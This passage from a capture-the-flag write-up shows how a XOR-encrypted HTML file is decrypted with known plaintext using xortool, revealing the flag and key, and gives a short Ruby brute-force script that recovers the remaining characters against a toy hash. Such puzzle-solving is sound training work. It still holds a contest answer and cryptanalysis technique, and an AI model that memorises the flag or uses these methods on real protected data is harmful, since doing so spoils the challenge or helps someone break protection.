00000020: 6a20 7574 696c 6973 6520 6c65 206d 157f j utilise le m..
00000030: 6522 6520 7061 7373 6520 7175 6520 740f e"e passe que t.
00000040: 2b24 3520 7472 6f75 7665 2070 6f75 7220 +$5 trouve pour
00000050: 0c6a 292f 6465 7220 6c65 2063 6861 6c6c .j)/der le chall
00000060: 6514 6c20 7a2f 6874 6d6c 3e0a e.l z/html>.
1
2
3
4
5
6
7
8
$ xortool-xor -f secret -s '<html>Bravo tu as' | xxd
00000000: 7369 6773 6567 767b 6a73 4973 4534 7a79 sigsegv{jsIsE4zy
00000010: 7d6f 7561 717c 2f51 2967 6006 355d 203d }ouaq|/Q)g`.5] =
00000020: 342e 3a75 7a72 602a 5129 6760 063e 5e35 4.:uzr`*Q)g`.>^5
00000030: 7a7c 6b6f 7172 6d7a 3c14 787e 6006 2744 z|koqrmz<.x~`.'D
00000040: 613b 6b2e 3b73 7c6b 7f3c 1479 6470 5473 a;k.;s|k.<.ydpTs
00000050: 4720 3671 6a2a 7333 726c 7957 616a 694a G 6qj*s3rlyWajiJ
00000060: 365f 263f 2421 2775 7e72 370a 6_&?$!'u~r7.
1
2
3
4
5
6
7
8
$ xortool-xor -f secret -s 'sigsegv{jsIsE4zy}' | xxd
00000000: 3c68 746d 6c3e 4272 6176 6f20 7475 2061 <html>Bravo tu a
00000010: 7320 7472 6f75 7665 206c 6520 666c 6167 s trouve le flag
00000020: 2c20 7574 696c 6973 6520 6c65 206d 6f74 , utilise le mot
00000030: 2064 6520 7061 7373 6520 7175 6520 7475 de passe que tu
00000040: 2061 7320 7472 6f75 7665 2070 6f75 7220 as trouve pour
00000050: 7661 6c69 6465 7220 6c65 2063 6861 6c6c valider le chall
00000060: 656e 6765 3c2f 6874 6d6c 3e0a enge</html>.

Else it was possible to find the 4 remaining chars with a bruteforce script in ruby:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
require 'brute_force'

BruteForce::Generator.new(letters: BruteForce::ASCII_PRINTABLE, filter: nil, starts_from: ' ').tap do |g|
while true
userpass = "<html>Bravo #{g.next}s"

hash = 0
(0...17).each do |j|
n = userpass[j].ord
hash += n - j + 30992
end

if hash == 529387
puts "key: #{userpass}"
break
end
end
end
Share